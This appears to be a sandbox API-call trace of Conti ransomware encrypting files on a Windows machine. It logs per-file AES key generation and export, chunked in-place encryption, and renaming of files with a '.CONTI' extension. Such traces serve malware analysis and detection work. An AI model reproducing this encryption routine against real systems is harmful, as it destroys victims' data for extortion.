	[0093.480] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml"
	[0093.480] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.CONTI"
	[0093.480] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.conti")) returned 1
	[0093.481] GetProcessHeap () returned 0x1720000
	[0093.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.481] CryptDestroyKey (hKey=0x175e3b0) returned 1
	[0093.481] GetProcessHeap () returned 0x1720000
	[0093.481] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0780 | out: hHeap=0x1720000) returned 1
	[0093.481] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.492] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x175e5f0) returned 1
	[0093.492] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x537fc2c | out: pbData=0x17c47e4*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0093.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.493] GetLastError () returned 0x0
	[0093.493] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=12687) returned 1
	[0093.493] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x318f
	[0093.493] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.493] SetEndOfFile (hFile=0x338) returned 1
	[0093.494] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.494] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.494] WriteFile (in: hFile=0x338, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.498] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.498] ReadFile (in: hFile=0x338, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x318f, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x318f, lpOverlapped=0x0) returned 1
	[0093.505] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x318f, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x3190) returned 1
	[0093.505] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.505] WriteFile (in: hFile=0x338, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x3190, lpOverlapped=0x0) returned 1
	[0093.505] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.505] WriteFile (in: hFile=0x338, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.505] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.505] CloseHandle (hObject=0x338) returned 1
	[0093.506] GetProcessHeap () returned 0x1720000
	[0093.506] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.506] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1042\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf"
	[0093.507] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1042\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1042\\eula.rtf.CONTI"
	[0093.507] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.conti")) returned 1
	[0093.511] GetProcessHeap () returned 0x1720000
	[0093.511] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.512] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0093.512] GetProcessHeap () returned 0x1720000
	[0093.512] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d5a8 | out: hHeap=0x1720000) returned 1
	[0093.512] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.518] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2fb0 | out: phKey=0x17d2fb0*=0x175e330) returned 1
	[0093.518] CryptExportKey (in: hKey=0x175e330, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2fb4, pdwDataLen=0x537fc2c | out: pbData=0x17d2fb4*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80
	[0093.521] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.521] GetLastError () returned 0x0
	[0093.521] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=3046) returned 1
	[0093.521] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xbe6
	[0093.521] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.521] SetEndOfFile (hFile=0x334) returned 1
	[0093.521] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.521] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.521] WriteFile (in: hFile=0x334, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.528] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.528] ReadFile (in: hFile=0x334, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0xbe6, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0xbe6, lpOverlapped=0x0) returned 1
	[0093.528] CryptEncrypt (in: hKey=0x175e330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xbe6, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xbf0) returned 1
	[0093.528] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.528] WriteFile (in: hFile=0x334, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0xbf0, lpOverlapped=0x0) returned 1
	[0093.528] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.528] WriteFile (in: hFile=0x334, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.528] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.528] CloseHandle (hObject=0x334) returned 1
	[0093.529] GetProcessHeap () returned 0x1720000
	[0093.529] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.529] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1044\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf"
	[0093.529] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1044\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf.CONTI"
	[0093.529] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.conti")) returned 1
	[0093.534] GetProcessHeap () returned 0x1720000
	[0093.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.534] CryptDestroyKey (hKey=0x175e330) returned 1
	[0093.534] GetProcessHeap () returned 0x1720000
	[0093.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173cfb8 | out: hHeap=0x1720000) returned 1
	[0093.534] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0093.539] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x175e330) returned 1
	[0093.539] CryptExportKey (in: hKey=0x175e330, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x537fc2c | out: pbData=0x17d2694*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0093.540] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0093.540] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.540] GetLastError () returned 0x0
	[0093.540] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=3683) returned 1
	[0093.540] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe63
	[0093.540] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.540] SetEndOfFile (hFile=0x334) returned 1
	[0093.541] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.541] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.541] WriteFile (in: hFile=0x334, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.542] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.542] ReadFile (in: hFile=0x334, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0xe63, lpOverlapped=0x0) returned 1
	[0093.542] CryptEncrypt (in: hKey=0x175e330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xe63, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0xe70) returned 1
	[0093.542] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.543] WriteFile (in: hFile=0x334, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0xe70, lpOverlapped=0x0) returned 1
	[0093.543] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.543] WriteFile (in: hFile=0x334, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x537fc30, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x537fc30*=0x8, lpOverlapped=0x0) returned 1
	[0093.543] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.543] CloseHandle (hObject=0x334) returned 1
	[0093.543] GetProcessHeap () returned 0x1720000
	[0093.544] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.544] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1046\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf"
	[0093.544] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1046\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf.CONTI"
	[0093.544] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.conti")) returned 1
	[0093.544] GetProcessHeap () returned 0x1720000
	[0093.544] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.544] CryptDestroyKey (hKey=0x175e330) returned 1
	[0093.544] GetProcessHeap () returned 0x1720000
	[0093.544] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d238 | out: hHeap=0x1720000) returned 1
	[0093.544] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x537fc58, lpCompletionKey=0x537fc5c, lpOverlapped=0x537fc68) returned 1
	[0094.263] CryptGenKey (in: hProv=0x176c3d0, Algid=0x6610, dwFlags=0x1, phKey=0x17d51e8 | out: phKey=0x17d51e8*=0x175e770) returned 1
	[0094.263] CryptExportKey (in: hKey=0x175e770, hExpKey=0x175e0b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d51ec, pdwDataLen=0x537fc2c | out: pbData=0x17d51ec*, pdwDataLen=0x537fc2c*=0x20c) returned 1
	[0094.264] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0094.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.265] GetLastError () returned 0x0
	[0094.265] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x537fbd8 | out: lpFileSize=0x537fbd8*=181483595) returned 1
	[0094.265] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xad1384b
	[0094.265] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.265] SetEndOfFile (hFile=0x34c) returned 1
	[0094.265] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.265] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.265] WriteFile (in: hFile=0x34c, lpBuffer=0x17d51ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x537fbe4, lpOverlapped=0x0 | out: lpBuffer=0x17d51ec*, lpNumberOfBytesWritten=0x537fbe4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.269] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.269] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0097.177] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0097.844] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.844] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0098.379] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0099.210] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0099.216] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.216] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0100.287] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0101.022] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0101.028] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.028] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0102.583] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0103.283] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0103.289] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.289] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0104.268] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0104.751] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0104.757] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.758] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0105.048] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0105.570] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0105.720] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.720] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
	[0106.656] ReadFile (in: hFile=0x34c, lpBuffer=0xf8b0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x537fc04, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesRead=0x537fc04*=0x500000, lpOverlapped=0x0) returned 1
	[0107.504] CryptEncrypt (in: hKey=0x175e770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000, dwBufLen=0x500000 | out: pbData=0xf8b0000*, pdwDataLen=0x537fbfc*=0x500000) returned 1
	[0107.510] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.510] WriteFile (in: hFile=0x34c, lpBuffer=0xf8b0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x537fc18, lpOverlapped=0x0 | out: lpBuffer=0xf8b0000*, lpNumberOfBytesWritten=0x537fc18*=0x500000, lpOverlapped=0x0) returned 1
